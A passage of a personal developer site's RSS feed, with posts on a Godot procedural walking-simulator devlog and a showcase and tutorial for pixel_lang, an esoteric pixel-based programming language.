    <li><strong>Game Engine Development</strong> (<em>Game Development</em>) &bull; 4 years &mdash; Building lightweight game engines, rendering loops, input handling, and entity systems from scratch. [<a href="https://en.wikipedia.org/wiki/Game_engine">Wikipedia</a>]</li>
    <li><strong>3D Modeling</strong> (<em>Design &amp; Art</em>) &bull; 4 years &mdash; Creating 3D polygonal models, retro low-poly assets, and environmental art for games. [<a href="https://en.wikipedia.org/wiki/3D_modeling">Wikipedia</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Liminalita Devlog] Project Origins, Gallery Concepts &amp; Spatial Illusions</title>
      <link>https://sol.vin/liminalita_devlog/0.html</link>
      <guid isPermaLink="true">https://sol.vin/liminalita_devlog/0.html</guid>
      <pubDate>Mon, 19 May 2025 00:00:00 GMT</pubDate>
      <dc:date>2025-05-19</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Liminalita Devlog</category>
      <category domain="skill">Godot 4</category>
      <category domain="skill-slug">godot_4</category>
      <category domain="skill-category">Game Development</category>
      <dc:subject>Godot 4</dc:subject>
      <category domain="skill">GDShader</category>
      <category domain="skill-slug">gdshader</category>
      <category domain="skill-category">Graphics &amp; Game Dev</category>
      <dc:subject>GDShader</dc:subject>
      <category domain="skill">Shaders</category>
      <category domain="skill-slug">shaders</category>
      <category domain="skill-category">Graphics &amp; Game Dev</category>
      <dc:subject>Shaders</dc:subject>
      <category domain="skill">3D Modeling</category>
      <category domain="skill-slug">3d_modeling</category>
      <category domain="skill-category">Design &amp; Art</category>
      <dc:subject>3D Modeling</dc:subject>
      <category domain="skill">Generative Art</category>
      <category domain="skill-slug">generative_art</category>
      <category domain="skill-category">Design &amp; Art</category>
      <dc:subject>Generative Art</dc:subject>
      <media:content url="https://sol.vin/images/devlogs/liminalita_devlog/0/1.png" medium="image" />
      <media:content url="https://sol.vin/images/devlogs/liminalita_devlog/0/2.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/devlogs/liminalita_devlog/0/1.png" />
      <description><![CDATA[<center>
<img src="/images/devlogs/liminalita_devlog/0/1.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/liminalita_devlog/0/2.png" style="width: 100%; height: 100%;">
</center>
<p>Liminalita is a 3D procedural art walking simulator I started designing after Procjam 2021. It was directly inspired by an entry from that jam called <em>I Don’t Get It</em>—a minimalist walking simulator in a single looping room that stuck with me long after I closed it.</p>
<p>I wanted to explore those ideas more deeply. I’ve always been drawn to that feeling of wandering in a space that’s coherent but impossible—something <em>Antichamber</em> did masterfully. Rooms that change behind you, stairs that lead nowhere, and floors that don’t act like floors. I wanted Liminalita to live in that same spirit of unreality—less of a game, more of a space you fall into.</p>
<p>---</p>
<h2>Tools &amp; Origins</h2>
<p>A few months before starting Liminalita, I picked up Godot for the first time. I used to write Crystal bindings for the raylib library, so game development wasn’t totally new to me, but 3D space, shaders, and Godot’s scene system were all new territory. Still, Godot made it possible to build this project the way I imagined it.</p>
<p>Early on, I attempted to implement an outline shader for stylized edges. I wanted crisp outlines from far away, but the shader broke down at distance. Someone shared a base for it, which I modified and customized to fit our low-poly rendering pipeline.</p>
<p>---</p>
<h2>Building the Gallery</h2>
<p>The game started with a gallery-style lobby area, which has grown into a procedural museum containing several distinct exhibits:</p>
<ul>
  <li><strong>Free Exhibit Tour</strong>: A walkable path with procedural paintings, statue rooms, and a small garden—a warm-up to the stranger spaces ahead.</li>
  <li><strong>Infinite Exhibit</strong>: A square hallway loop that folds in on itself, where paintings subtly shift as you walk. You cannot escape until you turn around and walk back the way you came.</li>
  <li><strong>Aquarium Exhibit</strong>: A custom water shader creates an immersive underwater gallery. Players fall into the tank and walk among procedurally generated schools of fish. The effect duplicates and offsets an animated fish model along smooth paths with randomized progress.</li>
</ul>
<p>---</p>
<h2>Spatial Tricks and Illusions</h2>
<p>Liminalita is full of intentional mind games and geometric anomalies:</p>
<ul>
  <li><strong>The Atrium Room</strong>: As you ascend to the second level, you are quietly teleported back to the ground floor. The illusion is preserved because the room resets out of sight, creating a seamless glitch in spatial logic.</li>
  <li><strong>The Hilbert Hotel</strong>: Inspired by Hilbert’s Infinite Hotel paradox, this is an infinite vertical space where each floor is procedurally generated as you descend. When the player leaves the lobby and looks away, the staircase shifts downward to reveal endless new floors.</li>
</ul>
<p><em> Some floors utilize a 3D tilemap mixing randomized layout chunks. </em> Other floors are handcrafted, such as a motel courtyard complete with a swimming pool. * An elevator on every floor allows players to return to the lobby at any time.</p>
<p>---</p>
<h2>Development Videos</h2>
<p>I have been documenting the build process in a YouTube devlog series: Devlog Playlist – Liminalita</p>
<p>---</p>
<p>Liminalita isn’t a game about winning or solving puzzles. It’s about walking, witnessing, and feeling off-kilter in a space where the rules bend and walls rearrange when you aren&#39;t looking.</p>
<p>Thanks for following along. — sol.vin</p>
]]></description>
      <content:encoded><![CDATA[<center>
<img src="/images/devlogs/liminalita_devlog/0/1.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/liminalita_devlog/0/2.png" style="width: 100%; height: 100%;">
</center>
<p>Liminalita is a 3D procedural art walking simulator I started designing after Procjam 2021. It was directly inspired by an entry from that jam called <em>I Don’t Get It</em>—a minimalist walking simulator in a single looping room that stuck with me long after I closed it.</p>
<p>I wanted to explore those ideas more deeply. I’ve always been drawn to that feeling of wandering in a space that’s coherent but impossible—something <em>Antichamber</em> did masterfully. Rooms that change behind you, stairs that lead nowhere, and floors that don’t act like floors. I wanted Liminalita to live in that same spirit of unreality—less of a game, more of a space you fall into.</p>
<p>---</p>
<h2>Tools &amp; Origins</h2>
<p>A few months before starting Liminalita, I picked up Godot for the first time. I used to write Crystal bindings for the raylib library, so game development wasn’t totally new to me, but 3D space, shaders, and Godot’s scene system were all new territory. Still, Godot made it possible to build this project the way I imagined it.</p>
<p>Early on, I attempted to implement an outline shader for stylized edges. I wanted crisp outlines from far away, but the shader broke down at distance. Someone shared a base for it, which I modified and customized to fit our low-poly rendering pipeline.</p>
<p>---</p>
<h2>Building the Gallery</h2>
<p>The game started with a gallery-style lobby area, which has grown into a procedural museum containing several distinct exhibits:</p>
<ul>
  <li><strong>Free Exhibit Tour</strong>: A walkable path with procedural paintings, statue rooms, and a small garden—a warm-up to the stranger spaces ahead.</li>
  <li><strong>Infinite Exhibit</strong>: A square hallway loop that folds in on itself, where paintings subtly shift as you walk. You cannot escape until you turn around and walk back the way you came.</li>
  <li><strong>Aquarium Exhibit</strong>: A custom water shader creates an immersive underwater gallery. Players fall into the tank and walk among procedurally generated schools of fish. The effect duplicates and offsets an animated fish model along smooth paths with randomized progress.</li>
</ul>
<p>---</p>
<h2>Spatial Tricks and Illusions</h2>
<p>Liminalita is full of intentional mind games and geometric anomalies:</p>
<ul>
  <li><strong>The Atrium Room</strong>: As you ascend to the second level, you are quietly teleported back to the ground floor. The illusion is preserved because the room resets out of sight, creating a seamless glitch in spatial logic.</li>
  <li><strong>The Hilbert Hotel</strong>: Inspired by Hilbert’s Infinite Hotel paradox, this is an infinite vertical space where each floor is procedurally generated as you descend. When the player leaves the lobby and looks away, the staircase shifts downward to reveal endless new floors.</li>
</ul>
<p><em> Some floors utilize a 3D tilemap mixing randomized layout chunks. </em> Other floors are handcrafted, such as a motel courtyard complete with a swimming pool. * An elevator on every floor allows players to return to the lobby at any time.</p>
<p>---</p>
<h2>Development Videos</h2>
<p>I have been documenting the build process in a YouTube devlog series: Devlog Playlist – Liminalita</p>
<p>---</p>
<p>Liminalita isn’t a game about winning or solving puzzles. It’s about walking, witnessing, and feeling off-kilter in a space where the rules bend and walls rearrange when you aren&#39;t looking.</p>
<p>Thanks for following along. — sol.vin</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/liminalita_devlog/">Liminalita Devlog</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2025-05-19</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Godot 4</strong> (<em>Game Development</em>) &bull; 4 years &mdash; Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [<a href="https://godotengine.org">Website</a>]</li>
    <li><strong>GDShader</strong> (<em>Graphics &amp; Game Dev</em>) &bull; 4 years &mdash; Godot Engine&#39;s custom shading language for 2D and 3D visual effects, materials, and post-processing. [<a href="https://docs.godotengine.org/en/stable/tutorials/shaders/index.html">Website</a>]</li>
    <li><strong>Shaders</strong> (<em>Graphics &amp; Game Dev</em>) &bull; 4 years &mdash; GPU shader programming for custom visual effects, post-processing, and material lighting. [<a href="https://en.wikipedia.org/wiki/Shader">Wikipedia</a>]</li>
    <li><strong>3D Modeling</strong> (<em>Design &amp; Art</em>) &bull; 4 years &mdash; Creating 3D polygonal models, retro low-poly assets, and environmental art for games. [<a href="https://en.wikipedia.org/wiki/3D_modeling">Wikipedia</a>]</li>
    <li><strong>Generative Art</strong> (<em>Design &amp; Art</em>) &bull; 5 years &mdash; Algorithmic generation of visual artwork, procedural textures, vector SVG patterns, and game graphics. [<a href="https://en.wikipedia.org/wiki/Generative_art">Wikipedia</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[pixel_lang] Showcase</title>
      <link>https://sol.vin/pixellang/2.html</link>
      <guid isPermaLink="true">https://sol.vin/pixellang/2.html</guid>
      <pubDate>Sat, 07 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-07</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">pixel_lang</category>
      <category domain="skill">Crystal</category>
      <category domain="skill-slug">crystal</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>Crystal</dc:subject>
      <category domain="skill">Esoteric Programming</category>
      <category domain="skill-slug">esoteric_programming</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>Esoteric Programming</dc:subject>
      <category domain="skill">Generative Art</category>
      <category domain="skill-slug">generative_art</category>
      <category domain="skill-category">Design &amp; Art</category>
      <dc:subject>Generative Art</dc:subject>
      <category domain="skill">Raylib</category>
      <category domain="skill-slug">raylib</category>
      <category domain="skill-category">Libraries &amp; Frameworks</category>
      <dc:subject>Raylib</dc:subject>
      <media:content url="https://sol.vin/images/pixellang/ackermann.gif" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/ackermann-draft.jpg" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/superpainter.gif" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/calc.gif" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/fastprimesieve.gif" medium="image" />
      <media:thumbnail url="https://sol.vin/images/pixellang/ackermann.gif" />
      <description><![CDATA[<p>I&#39;d like to take a little time today to showcase some of the programs I made with pixel_lang. I&#39;m very proud of them, and I&#39;m hoping someone will enjoy watching and dissecting them.</p>
<p>The first one I&#39;d like to show off is my Ackermann function, which uses forking, and it&#39;s own in-memory call stack to orchestrate all the individual pistons to fire when necessary.</p>
<center>
<img src="/images/pixellang/ackermann.gif" style="width: 100%; height: 100%;">
</center>
<p>In the example above, there are three possible decisions made, if M is equal to 0, if N is equal to 0, and the recursive call, with the n-arg. That&#39;s why the fork splits the piston into three, one for the recursive call itself, and one for the n-arg, which is also a recursive call.</p>
<p>Here is the draft version of the function, that I made by hand with comments.</p>
<center>
<img src="/images/pixellang/ackermann-draft.jpg" style="width: 100%; height: 100%;">
</center>
<p>Since each call to ack() waits for the next call to finish, I created a basic lock system, that tests to see if there is a piston still executing the function. When a piston finishes, it either creates new pistons (the recursive n-arg call), or frees up old ones waiting for an answer. The n-arg always goes first, then the other calls, after the n-arg piston has finished.</p>
<p>The locks themselves listen directly to static memory, to make them efficient as possible. A locked piston only needs to run one instruction that way, as well as have a direction instruction that pushes the piston back into the conditional lock.</p>
<p>We know a piston is the last piston alive, because the position in the call stack it&#39;s currently at will always be 0. We check that at the end to see when we need to output the answer.</p>
<p>In this program, MAV is M, and MBV is N. S is the current position of the call stack, and SV is the values on the stack, which are whether or not the piston has solved it&#39;s part of the equation, and what that answer was.</p>
<p>I also want to point out that I could have made this in less cycles using Jumps, but I like watching the flow of the program, so there is only one necessary Jump instruction in the whole program.</p>
<p>The next program is one I developed recently to show off for part 2, but didn&#39;t finish it in time.</p>
<center>
<img src="/images/pixellang/superpainter.gif" style="width: 100%; height: 100%;">
</center>
<p>This program uses the meta-programming instruction IMetaSet, to color the middle square two different colors each rotation. The internals on it I&#39;m pretty proud of.</p>
<p>First of all, this program has an infinite loop with no possibility of memory leakage. In pixel_lang, a piston can potentially crash a program after millions of loops because of things like left-over values in I. Since I is a collection with no bounds, if it gets to full the program either crawls to a halt, or straight crashes.</p>
<p>If you look on the left and right sides, you can see two pistons, each going in a loop. The right side is an incrementer, and the left side is a decrementer. They count either up to 19, or down to 7, which is the exact coordinates of our center square, on two separate SV values. The inner piston changes it&#39;s S to read from either SV depending on what stage of the program it&#39;s at.</p>
<p>The painting bot itself uses a neat effect/tactic. The two colors it&#39;s changing itself between are IMetaSet(:sv, 0, :mav, 0, 2, :ma, 0), IMetaSet(:mav, 0, :sv, 0, 2, :ma, 0). SV and MAV are either X or Y, depending on the direction. MA is the control code register, which is always 0xD (for IMeta). On I we stack the color value, which in this case is either, 0x68480 or 0x49480. Whatever color is currently on the board, it paints the opposite of it.</p>
<p>The timing was really difficult on this program, because fork priority had to be respected at every turn. Since each piston has Read, Execute, and Move phases, the two pistons on the sides only increment/decrement after the painting piston has moved. This gives the effect of painting whats behind it, even though it actually changes the instruction it was on during execute phase, and then moves forward one.</p>
<center>
<img src="/images/pixellang/calc.gif" style="width: 100%; height: 100%;">
</center>
<p>Next is my calculator program, this one takes a non-parenthesized math expression, the runs the operations from left to right (does not respect OoO). This was just a fun artsy project I wanted to do to show art was possible (If you can call it art).</p>
<center>
<img src="/images/pixellang/fastprimesieve.gif" style="width: 100%; height: 100%;">
</center>
<p>Another program I wrote is the Sieve of Eratosthenes, a fun way to filter prime numbers. This program uses Call/Return to move the pistons into an &quot;incremental tar pit&quot;, the higher the number of the current index, the higher the wait for a piston to be released from the tar pit. Basically, a generator forks pistons with the current index (which it increments every cycle), then checks to see if it went over the limit. The forked pistons go through the program. When a prime number is found, it is added to a list of prime numbers which is checked against all other future potential primes.This is list is output at the end of the program, once the last piston is done. This example of the program runs up to 30.</p>
]]></description>
      <content:encoded><![CDATA[<p>I&#39;d like to take a little time today to showcase some of the programs I made with pixel_lang. I&#39;m very proud of them, and I&#39;m hoping someone will enjoy watching and dissecting them.</p>
<p>The first one I&#39;d like to show off is my Ackermann function, which uses forking, and it&#39;s own in-memory call stack to orchestrate all the individual pistons to fire when necessary.</p>
<center>
<img src="/images/pixellang/ackermann.gif" style="width: 100%; height: 100%;">
</center>
<p>In the example above, there are three possible decisions made, if M is equal to 0, if N is equal to 0, and the recursive call, with the n-arg. That&#39;s why the fork splits the piston into three, one for the recursive call itself, and one for the n-arg, which is also a recursive call.</p>
<p>Here is the draft version of the function, that I made by hand with comments.</p>
<center>
<img src="/images/pixellang/ackermann-draft.jpg" style="width: 100%; height: 100%;">
</center>
<p>Since each call to ack() waits for the next call to finish, I created a basic lock system, that tests to see if there is a piston still executing the function. When a piston finishes, it either creates new pistons (the recursive n-arg call), or frees up old ones waiting for an answer. The n-arg always goes first, then the other calls, after the n-arg piston has finished.</p>
<p>The locks themselves listen directly to static memory, to make them efficient as possible. A locked piston only needs to run one instruction that way, as well as have a direction instruction that pushes the piston back into the conditional lock.</p>
<p>We know a piston is the last piston alive, because the position in the call stack it&#39;s currently at will always be 0. We check that at the end to see when we need to output the answer.</p>
<p>In this program, MAV is M, and MBV is N. S is the current position of the call stack, and SV is the values on the stack, which are whether or not the piston has solved it&#39;s part of the equation, and what that answer was.</p>
<p>I also want to point out that I could have made this in less cycles using Jumps, but I like watching the flow of the program, so there is only one necessary Jump instruction in the whole program.</p>
<p>The next program is one I developed recently to show off for part 2, but didn&#39;t finish it in time.</p>
<center>
<img src="/images/pixellang/superpainter.gif" style="width: 100%; height: 100%;">
</center>
<p>This program uses the meta-programming instruction IMetaSet, to color the middle square two different colors each rotation. The internals on it I&#39;m pretty proud of.</p>
<p>First of all, this program has an infinite loop with no possibility of memory leakage. In pixel_lang, a piston can potentially crash a program after millions of loops because of things like left-over values in I. Since I is a collection with no bounds, if it gets to full the program either crawls to a halt, or straight crashes.</p>
<p>If you look on the left and right sides, you can see two pistons, each going in a loop. The right side is an incrementer, and the left side is a decrementer. They count either up to 19, or down to 7, which is the exact coordinates of our center square, on two separate SV values. The inner piston changes it&#39;s S to read from either SV depending on what stage of the program it&#39;s at.</p>
<p>The painting bot itself uses a neat effect/tactic. The two colors it&#39;s changing itself between are IMetaSet(:sv, 0, :mav, 0, 2, :ma, 0), IMetaSet(:mav, 0, :sv, 0, 2, :ma, 0). SV and MAV are either X or Y, depending on the direction. MA is the control code register, which is always 0xD (for IMeta). On I we stack the color value, which in this case is either, 0x68480 or 0x49480. Whatever color is currently on the board, it paints the opposite of it.</p>
<p>The timing was really difficult on this program, because fork priority had to be respected at every turn. Since each piston has Read, Execute, and Move phases, the two pistons on the sides only increment/decrement after the painting piston has moved. This gives the effect of painting whats behind it, even though it actually changes the instruction it was on during execute phase, and then moves forward one.</p>
<center>
<img src="/images/pixellang/calc.gif" style="width: 100%; height: 100%;">
</center>
<p>Next is my calculator program, this one takes a non-parenthesized math expression, the runs the operations from left to right (does not respect OoO). This was just a fun artsy project I wanted to do to show art was possible (If you can call it art).</p>
<center>
<img src="/images/pixellang/fastprimesieve.gif" style="width: 100%; height: 100%;">
</center>
<p>Another program I wrote is the Sieve of Eratosthenes, a fun way to filter prime numbers. This program uses Call/Return to move the pistons into an &quot;incremental tar pit&quot;, the higher the number of the current index, the higher the wait for a piston to be released from the tar pit. Basically, a generator forks pistons with the current index (which it increments every cycle), then checks to see if it went over the limit. The forked pistons go through the program. When a prime number is found, it is added to a list of prime numbers which is checked against all other future potential primes.This is list is output at the end of the program, once the last piston is done. This example of the program runs up to 30.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/pixellang/">pixel_lang</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-07</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Crystal</strong> (<em>Languages</em>) &bull; 8 years &mdash; A fast, compiled, statically typed language with Ruby-inspired syntax. [<a href="https://crystal-lang.org">Website</a> | <a href="https://github.com/crystal-lang/crystal">Github</a>]</li>
    <li><strong>Esoteric Programming</strong> (<em>Languages</em>) &bull; 3 years &mdash; Designing non-traditional programming languages to test boundaries of language design and visual computing. [<a href="https://en.wikipedia.org/wiki/Esoteric_programming_language">Wikipedia</a>]</li>
    <li><strong>Generative Art</strong> (<em>Design &amp; Art</em>) &bull; 5 years &mdash; Algorithmic generation of visual artwork, procedural textures, vector SVG patterns, and game graphics. [<a href="https://en.wikipedia.org/wiki/Generative_art">Wikipedia</a>]</li>
    <li><strong>Raylib</strong> (<em>Libraries &amp; Frameworks</em>) &bull; 5 years &mdash; A simple and easy-to-use C library to enjoy videogames programming. [<a href="https://www.raylib.com">Website</a> | <a href="https://github.com/raysan5/raylib">Github</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[pixel_lang] More Instructions</title>
      <link>https://sol.vin/pixellang/1.html</link>
      <guid isPermaLink="true">https://sol.vin/pixellang/1.html</guid>
      <pubDate>Fri, 06 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-06</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">pixel_lang</category>
      <category domain="skill">Crystal</category>
      <category domain="skill-slug">crystal</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>Crystal</dc:subject>
      <category domain="skill">Esoteric Programming</category>
      <category domain="skill-slug">esoteric_programming</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>Esoteric Programming</dc:subject>
      <category domain="skill">Generative Art</category>
      <category domain="skill-slug">generative_art</category>
      <category domain="skill-category">Design &amp; Art</category>
      <dc:subject>Generative Art</dc:subject>
      <category domain="skill">Raylib</category>
      <category domain="skill-slug">raylib</category>
      <category domain="skill-category">Libraries &amp; Frameworks</category>
      <dc:subject>Raylib</dc:subject>
      <media:content url="https://sol.vin/images/pixellang/7.png" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/twistyturny.gif" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/jumpexample.gif" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/moveexample.gif" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/8.png" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/9.png" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/conditionalexample.gif" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/forkexample.gif" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/painter.gif" medium="image" />
      <media:thumbnail url="https://sol.vin/images/pixellang/7.png" />
      <description><![CDATA[<p>We covered Start, End, and Output Char in the last section, next we want to use Direction and Jump. Let&#39;s create a version of Hello World that does some crafty maneuvering to only use a single output char instruction for each character of &quot;Hello World!&quot;. First we need to make the instructions we need to use.</p>
<center>
<img src="/images/pixellang/7.png" style="width: 100%; height: 100%;">
</center>
<p>Then we just need to come up with an interesting layout. I had to specifically be aware of the OutputChar L, because it&#39;s used three times, and I need to go a different route each time.</p>
<center>
<img src="/images/pixellang/twistyturny.gif" style="width: 100%; height: 100%;">
</center>
<p>I often times use Jump to allow a single directional line of code have multiple meanings.</p>
<p>For example, take this program, which only hits the pink spaces one way, and the yellow spaces other. This programs runs indefinitely.</p>
<center>
<img src="/images/pixellang/jumpexample.gif" style="width: 100%; height: 100%;">
</center>
<h3>Insert</h3>
<p>Insert is instruction number 0x8, and it&#39;s 20bit argument is stacked onto the I stack of any Piston that executes it. It&#39;s used to introduce constants into your program.</p>
<h3>Move</h3>
<p>Move is an instruction which takes two register arguments, and moves the value from the source to the destination. When specifying a register, you also need to specify a register option which can change how the register is interacted with.</p>
<p>For example, a MOV(MA(0) -&gt; MB(0)) will move the value in MA into MB, where MOV(MA(1) -&gt; MB(0)) will move a random value where MA is the max of that number, and move it into MB.</p>
<p>Another good example would be MOV(I(0) -&gt; MA(0)) which pops a value off I and puts it into MA, and MOV(I(2) -&gt; MA(0)) which only peeks the value.</p>
<p>Register options can be very useful!</p>
<p>Let&#39;s give Move a try.</p>
<center>
<img src="/images/pixellang/moveexample.gif" style="width: 100%; height: 100%;">
</center>
<p>In the program above, 100, 200, and then 300 are placed on the I stack using Insert, then moved to output using MOV(I(0) -&gt; O(0)), and a space is added between. We can see when the I stack runs out, it always returns 0 if there is no engine input to consume.</p>
<p>MOV can also be used with register options to change register behaviour. For example, if MA is equal to 1234 and MOV(MA(1) -&gt; O(0)) is called, output will be a random number between 0 and 1234. Reading from I(2) doesn&#39;t pull the item off the I stack, while I(0) does.</p>
<p>Move also has two other options, swap and reverse. Swap swaps the values of two registers. The order it does that is very important, since register reads can trigger changes (like I or O for example). When swapping values, the source value is gotten first, then the destination value, then the source is set first, then the destination is set. This is important to understand especially when using the instruction MOV(I(0) -&gt; I(0)), which will swap the top two values on the I stack.</p>
<p>You can also reverse the source and destination, this option isn&#39;t particularly useful, it&#39;s just to allow for more interesting colors to be made.</p>
<h3>Arithmetic</h3>
<p>One of my favorite instructions, Arithmetic allows you to build simple mathematical expressions. Arithmetic takes two source registers, an operation, and a destination register. Here are some examples.</p>
<center>
<img src="/images/pixellang/8.png" style="width: 100%; height: 100%;">
</center>
<p>Here&#39;s a list of all the mathematical operators available.</p>
<pre class="code-block"><code>BOOLEAN_OPERATIONS = [:&amp;lt;, :&amp;gt;, :&amp;lt;=, :&amp;gt;=, :==, :!=]
ARITHMETIC_OPERATIONS = [:+, :-, :*, :/, :**, :&amp;, :|, :^, :%]</code></pre>
<p>Using this instruction we can easily make a program to add 100 to an input number.</p>
<p>The program itself only needs 4 instructions. Start, Insert(100), AR(I(0) + I(0) -&gt; O(0)), and End.</p>
<p>When running the program, you need to include an input number into the Engine before starting or it will always display 100, since I always deafults to 0 when there is no input.</p>
<center>
<img src="/images/pixellang/9.png" style="width: 100%; height: 100%;">
</center>
<h3>Conditional</h3>
<p>Conditional allows pistons to make decisions on where they will go, based on a mathematical expression. You choose two directions, a true direction, and a false direction, and if the mathematical expression evaluates to 0 it goes the false direction, otherwise the true direction.</p>
<p>Boolean operators always produce either a 0 (false), or a 1 (true).</p>
<p>Conditional lets us create decisions and loops that will be the basic building blocks of our programs.</p>
<p>To show off what the Conditional can do, we are going to make a &quot;count to&quot; program which will take a number, and count up to that number.</p>
<center>
<img src="/images/pixellang/conditionalexample.gif" style="width: 100%; height: 100%;">
</center>
<p>In this example, the value of MB is always 1. We use that to increment MA each loop, and use the beige instruction (a Conditional) to determine if we have hit our max number yet. If not, we output the number, output a space, and start over again. Interesting note, Start instructions operate as Direction instructions when executed by a Piston. This allows us to restart programs easily if necessary.</p>
<h2>Call/Return</h2>
<p>These two instructions work in tandem to allow a Piston to return to a previous state, and choose what it takes along with it. Call and Return can be some of the most powerful instructions if used right.</p>
<p>Call takes a couple arguments, the first being an action, which is either :none, :push, :none_run, :push_run. This determines behavior of the Piston after running the Call, if it should push it&#39;s current frame to stack, or not, or if it should step once after the Call. For example, the none option does not push a frame to the call stack, where push does.</p>
<p>Call also takes a signed X and Y argument.</p>
<p>Call moves the Piston X and Y spaces away from the Call instructions. This is all relative spacing, there is no absolute values for Call.</p>
<p>When a Return instruction is read by a Piston, it checks to see if there is a frame on it&#39;s call stack. If there is a frame, the Return instruction chooses what values to copy back to the piston, for example, you can choose to restore the X position but not the Y, the direction, you can choose to keep MA the same, or restore it from the frame, that sort of thing. If there is no frame on the call stack, Return does nothing.</p>
<p>Return has a lot of arguments, a full list from the color_helper dev module:</p>
<pre class="code-block"><code>Return Instruction
Returns a frame from the call stack.
0bCCCC00000000PPABSIIMMXYD
C = Control Code (Instruction) [4 bits]
P = Action bits [:pop, :peek, :pop_push, :peek_push]
A = Copy MA?
B = Copy MB?
S = Copy S?
I = Copy I action? [:keep, :restore, :clear]
M = Copy memory action? [:keep, :restore, :clear]
X = Jump back to X?
Y = Jump back to Y?
D = Change the direction?</code></pre>
<p>First, the action specifies whether or not a frame should peeked, or popped off the call stack and/or if the current frame of the Piston should be added back to the call stack.</p>
<p>Next, should we copy MA, MB, S, X, Y, etc?</p>
<p>Lastly, I and Memory (since they are collections) both have special operations. Whether or not we should keep them, restore the frame&#39;s version, or clear altogether. When using :clear, even if there is nothing on the call stack, that item will still be cleared.</p>
<p>Again Return is super powerful, with it, we can set up all sorts of interesting interactions with the program code.</p>
<h3>Fork</h3>
<p>Fork is used to make exact duplicates of Pistons, facing in different (or the same) directions. One Fork instruction can make up to 4 new pistons. The original piston always follows direction #1, and each piston created afterwards executes after the last one created. Imagine two pistons one the same space that hit a fork instruction. Let&#39;s call them P1 and P2, after their priority numbers. P1 creates a new Piston, sandwiched between it and P2 in the execution order, while P2&#39;s created clone will be below it in the execution order.</p>
<p>Here is an example program I wrote to test the limits of Fork (like how many times can you fork before the program crashes).</p>
<center>
<img src="/images/pixellang/forkexample.gif" style="width: 100%; height: 100%;">
</center>
<p>I also use Fork in my Ackermann implementation, since it&#39;s perfect for the job of expansion!</p>
<h3>InstructionMeta</h3>
<p>InstructionMeta is an instruction that houses four other functions, Get, Set, Resize, and Property.</p>
<p>Get allows a Piston to get the value of a color located at the X and Y values specified by two registers. Puts the control code, then the control value on the I stack.</p>
<p>Set allows a Piston to set the value of a color located at the X and Y values specified by two registers, to the value located on the I Stack. Since the I stack can only hold values up to 0xFFFFF, the I stack is read twice and the values bitshifted and combined to for the color. For example, if 0xBBBBB then 0xA were on the I stack, the color would be 0xABBBBBB.</p>
<p>Resize allows a piston to resize the instructions width and height.</p>
<p>Property allows a Piston to get the width and height of the instruction set.</p>
<p>Using these instructions, we can modify the instructions on the board! Here is an example program, a painter bot.</p>
<center>
<img src="/images/pixellang/painter.gif" style="width: 100%; height: 100%;">
</center>
<p>The program above uses two pistons. One goes in a loop and counts up from 0 to the width of the &quot;drawing canvas&quot;. The other piston reads the IMetaSet instructions, and executes them, changing the current square they are on, then moving to another. This gives the effect of a bot painting the ground behind it.</p>
]]></description>
      <content:encoded><![CDATA[<p>We covered Start, End, and Output Char in the last section, next we want to use Direction and Jump. Let&#39;s create a version of Hello World that does some crafty maneuvering to only use a single output char instruction for each character of &quot;Hello World!&quot;. First we need to make the instructions we need to use.</p>
<center>
<img src="/images/pixellang/7.png" style="width: 100%; height: 100%;">
</center>
